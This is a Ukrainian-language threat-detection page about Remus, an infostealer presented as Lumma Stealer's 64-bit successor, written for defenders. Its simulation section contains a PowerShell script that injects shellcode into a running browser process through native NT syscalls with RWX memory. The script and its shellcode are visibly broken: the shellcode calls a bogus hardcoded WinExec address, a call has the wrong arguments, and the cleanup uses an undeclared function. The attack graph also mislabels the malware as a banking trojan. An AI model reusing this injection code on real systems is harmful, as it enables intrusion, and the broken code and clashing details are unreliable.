SOC Prime Bias: Середній

09 Apr 2026 18:22

Remus: Розпаковка 64-бітної еволюції Lumma Stealer

Author Photo
SOC Prime Team linkedin icon Стежити
Remus: Розпаковка 64-бітної еволюції Lumma Stealer
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Резюме

Gen Threat Labs виявили Remus, новий 64-бітний інфостілер, який, здається, є прямим наступником лінії Lumma Stealer. Він повторює прийоми Lumma, включаючи знайому обфускацію рядків, логіку протидії віртуальним машинам (anti-VM), виконання прямих системних викликів та специфічне обходження шифрування, що пов’язане з Lumma. Remus також змінює свою модель розв’язання C2: замість того, щоб покладатися на Steam та Telegram як резолвери, він використовує EtherHiding, застосовуючи смарт-контракти в Ethereum для визначення командних та контрольних точок. Кампанія спостерігається з лютого 2026 року, зосереджуючись на крадіжці даних із браузерів, орієнтуючись на облікові дані, файли cookie та дані криптовалютних гаманців.

Дослідження

Аналітики порівняли зразки Remus з історичними бінарними файлами Lumma і знайшли багато збігів в деталях реалізації, включаючи зіставлення кодових конструкцій, спільні рядки wildcard-стилю і той самий підхід обходження ABE. Перехідні збірки з етикеткою “Tenzor” були виявлені як міст між двома сімействами. Реверс інжиніринг показує, що Remus знаходить dpapi.dll, хешує експортовані імена API та намагається вживлення shellcode у Chrome. Якщо вживлення не вдається, він повертається до імпресії токена SYSTEM, щоб відновити важелі виконання. Новітні додаткові протианалізи включають перевірки хешів sandbox DLL і тест наявності PSD файлу “honeypot”, призначений для виявлення середовищ аналізу.

Запобігання

Блокуйте відомі IP/доменні адреси, пов’язані з Remus, на периметрі і моніторьте поведінку EtherHiding, включаючи незвичайні запити або шаблони трафіку, що відповідають резолюції C2 на основі смарт-контрактів. На кінцевих пристроях пріоритетність детекцій для використання прямих системних викликів, хешування API та артефактів, що відповідають прихованому виконанню (включаючи створення прихованих робочих столів). Зменште ризики в браузерах за рахунок зміцнення середовищ, заснованих на Chromium, де це можливо, та впроваджуйте суворий контроль за додатками, щоб запобігти несанкціонованому вживленню коду і запуску підозрілих підписаних виконуваних файлів.

Відповідь

Якщо виявлені індикатори Remus, ізолюйте хост, збирайте дампи пам’яті та повні дерева процесів, проведіть цілеспрямовані судово-медичні дослідження на вживлених процесах браузера. Блокуйте всю підтверджену інфраструктуру C2, анулюйте розкриті облікові дані та скидайте збережені паролі/токени браузера. Оновіть детекції, включаючи рядок wildcard B9%????4rnO/@NQe?Nx* і звітований 51-байтний сигнатуру shellcode.

graph TB %% Class Definitions classDef malware fill:#ff9999 classDef technique fill:#99ccff classDef process fill:#ffcc99 classDef action fill:#c2f0c2 %% Nodes malware_remus[“<b>Шкідливе ПЗ</b> – Remus<br><b>Опис</b>: Модульний банківський троян з антианалізом, reflective loading та крадіжкою облікових даних”] class malware_remus malware tech_anti_analysis[“<b>Техніка</b> – T1497.002 Віртуалізація/обхід sandbox<br><b>Опис</b>: Виявляє hypervisor рядки та DLL аналізу; завершує роботу при sandbox”] class tech_anti_analysis technique c2_resolve[“<b>Дія</b> – Розв’язання C2<br><b>Опис</b>: Визначає адресу командного сервера перед подальшими діями”] class c2_resolve action tech_unpacking[“<b>Техніка</b> – T1027.002 Пакування/обфускація<br><b>Опис</b>: Бінарник запакований, використовує обфускацію рядків і syscalls для ускладнення аналізу”] class tech_unpacking technique tech_reflective_load[“<b>Техніка</b> – T1620 Reflective Code Loading<br><b>Опис</b>: Інжектує shellcode у процес Chromium/Chrome для виконання в пам’яті”] class tech_reflective_load technique process_chrome[“<b>Процес</b> – Chromium/Chrome<br><b>Опис</b>: Цільовий браузерний процес для інжекції”] class process_chrome process tech_browser_cred[“<b>Техніка</b> – T1555.003 Дані браузера<br><b>Опис</b>: Декодує master key і витягує паролі, cookies та креденшіали”] class tech_browser_cred technique tech_general_cred[“<b>Техніка</b> – T1555 Креденшіали<br><b>Опис</b>: Пакує всі зібрані дані для ексфільтрації”] class tech_general_cred technique action_exfiltration[“<b>Дія</b> – Ексфільтрація<br><b>Опис</b>: Відправка даних на C2 сервер”] class action_exfiltration action %% Connections malware_remus –>|виконує| tech_anti_analysis tech_anti_analysis –>|продовжує| c2_resolve c2_resolve –>|завантажує| tech_unpacking tech_unpacking –>|використовує| tech_reflective_load tech_reflective_load –>|інжектує в| process_chrome process_chrome –>|активує| tech_browser_cred tech_browser_cred –>|створює| tech_general_cred tech_general_cred –>|веде до| action_exfiltration

Потік атаки

Виконання моделювання

Передумова: Перевірка телеметрії та бази повинна бути успішно пройдена.

Обгрунтування: Цей розділ детально описує точне виконання техніки супротивника (TTP), призначене для виклику правила виявлення. Команди та описи ПОВИННІ безпосередньо відображати виявлені TTP та мати на меті створити точну телеметрію, яку очікує логіка виявлення.

  • Опис атаки та команди:

    1. Вибір процесу: Ідентифікуйте працюючу інстанцію browser.exe (перейменований Chrome) і отримайте його PID.
    2. Підготовка заплатки: Створіть невелику заплатку для запуску “calc.exe” (типовий для демонстрації концепції).
    3. Виділення пам’яті: Викличте NtAllocateVirtualMemory в контексті цільового процесу, щоб зарезервувати область RWX.
    4. Впровадження заплатки: Use NtWriteVirtualMemory для копіювання заплатки в виділену область.
    5. Виконання: Відкрийте віддалену нитку з NtCreateThreadEx , яка починає виконання за адресою впровадженої заплатки.
  • Скрипт регресійного тестування:

    # Моделювання Remus-ABE – реалізація PowerShell з використанням нативних NT-системних викликів
    # Потрібно запустити від імені Адміністратора
    
    Add-Type -Namespace Win32 -Name NativeMethods -MemberDefinition @"
        using System;
        using System.Runtime.InteropServices;
    
        public class NativeMethods {
            [DllImport("ntdll.dll", SetLastError = true)]
            public static extern UInt32 NtAllocateVirtualMemory(
                IntPtr ProcessHandle,
                ref IntPtr BaseAddress,
                UIntPtr ZeroBits,
                ref UIntPtr RegionSize,
                UInt32 AllocationType,
                UInt32 Protect);
    
            [DllImport("ntdll.dll", SetLastError = true)]
            public static extern UInt32 NtWriteVirtualMemory(
                IntPtr ProcessHandle,
                IntPtr BaseAddress,
                byte[] Buffer,
                UInt32 BufferLength,
                out UInt32 BytesWritten);
    
            [DllImport("ntdll.dll", SetLastError = true)]
            public static extern UInt32 NtCreateThreadEx(
                out IntPtr ThreadHandle,
                UInt32 DesiredAccess,
                IntPtr ObjectAttributes,
                IntPtr ProcessHandle,
                IntPtr StartAddress,
                IntPtr Parameter,
                UInt32 CreateSuspended,
                UInt32 StackZeroBits,
                UInt32 SizeOfStackCommit,
                UInt32 SizeOfStackReserve,
                IntPtr AttributeList);
        }
    "@
    
    # 1️⃣ Ідентифікація процесу browser.exe
    $target = Get-Process -Name browser -ErrorAction Stop
    $hProcess = $target.Handle
    
    # 2️⃣ Shellcode – запуск calc.exe (Windows x64)
    $shellcode = [Byte[]](
        0x48,0x31,0xC0,                         # xor rax,rax
        0x48,0x89,0xC2,                         # mov rdx,rax
        0x48,0x89,0xC6,                         # mov rsi,rax
        0x48,0x89,0xC7,                         # mov rdi,rax
        0x48,0x8D,0x15,0x0F,0x00,0x00,0x00,    # lea rdx,[rip+0xf] ; "calc.exe"
        0x48,0xC7,0xC0,0xC7,0x00,0x00,0x00,    # mov rax,0xc7 (WinExec)
        0xFF,0xD0,                             # call rax
        0xC3,                                   # ret
        # "calc.exe" рядок
        0x63,0x61,0x6C,0x63,0x2E,0x65,0x78,0x65,0x00
    )
    
    # 3️⃣ Виділення пам'яті RWX в цільовому процесі
    $baseAddress = [IntPtr]::Zero
    $regionSize = [UIntPtr]$shellcode.Length
    $allocResult = [Win32.NativeMethods]::NtAllocateVirtualMemory(
        $hProcess,
        [ref]$baseAddress,
        [UIntPtr]0,
        [ref]$regionSize,
        0x3000,   # MEM_COMMIT|MEM_RESERVE
        0x40      # PAGE_EXECUTE_READWRITE
    )
    if ($allocResult -ne 0) { Write-Error "NtAllocateVirtualMemory не вдалося: 0x$($allocResult.ToString('X'))" }
    
    # 4️⃣ Запис shellcode
    $bytesWritten = 0
    $writeResult = [Win32.NativeMethods]::NtWriteVirtualMemory(
        $hProcess,
        $baseAddress,
        $shellcode,
        $shellcode.Length,
        [ref]$bytesWritten
    )
    if ($writeResult -ne 0) { Write-Error "NtWriteVirtualMemory не вдалося: 0x$($writeResult.ToString('X'))" }
    
    # 5️⃣ Створення віддаленої нитки
    $hThread = [IntPtr]::Zero
    $createResult = [Win32.NativeMethods]::NtCreateThreadEx(
        [ref]$hThread,
        0x1F03FF,   # THREAD_ALL_ACCESS
        $hProcess,
        $baseAddress,
        0,          # не призупинено
        0,0,0,
    )
    if ($createResult -ne 0) { Write-Error "NtCreateThreadEx не вдалося: 0x$($createResult.ToString('X'))" }
    else { Write-Host "Успішне впровадження shellcode – віддалена нитка запущена (Handle: $hThread)" }
  • Команди очищення:

    # Завершіть роботу впровадженої нитки (якщо ще працює) і звільніть виділену пам'ять
    $proc = Get-Process -Name browser -ErrorAction SilentlyContinue
    if ($proc) {
        $hProcess = $proc.Handle
        # Закрийте дескриптор нитки
        if ($hThread -ne [IntPtr]::Zero) {
            [System.Runtime.InteropServices.Marshal]::Release($hThread) | Out-Null
        }
        # Звільнення пам'яті (NtFreeVirtualMemory)
        $freeAddr = $baseAddress
        $regionSize = [UIntPtr]$shellcode.Length
        $null = [Win32.NativeMethods]::NtFreeVirtualMemory($hProcess, [ref]$freeAddr, [ref]$regionSize, 0x8000) # MEM_RELEASE
    }
    Write-Host "Очищення завершено."

Рекомендації Резюме

  1. Розширення Області Процесів: Включіть інші процеси з високою цінністю (наприклад, explorer.exe, svchost.exe), щоб виявити спроби ABE, які уникають точного відповідності browser.exe назви.
  2. Розширення Покриття Системних Викликів: Add NtMapViewOfSection, NtCreateSectionі NtProtectVirtualMemory до списку Syscall|містить .
  3. Виявлення Поведінкових Аномалій: Коррелуйте великі розміри виділення пам’яті (RegionSize > 1 MB) із подальшою NtWriteVirtualMemory у тому ж процесі для позначення атипових шаблонів впровадження.
  4. Біллінг Легітимних Сценаріїв: Створіть білий список для браузерів, які дійсно виконують записи в пам’ять у процесі (наприклад, через плагіни), щоб зменшити кількість хибних спрацьовувань.

Запровадження цих заходів зміцнення підвищить стійкість правила від 3 до 4-5 рейтингов, роблячи значно складнішим для зловмисників їх обхід.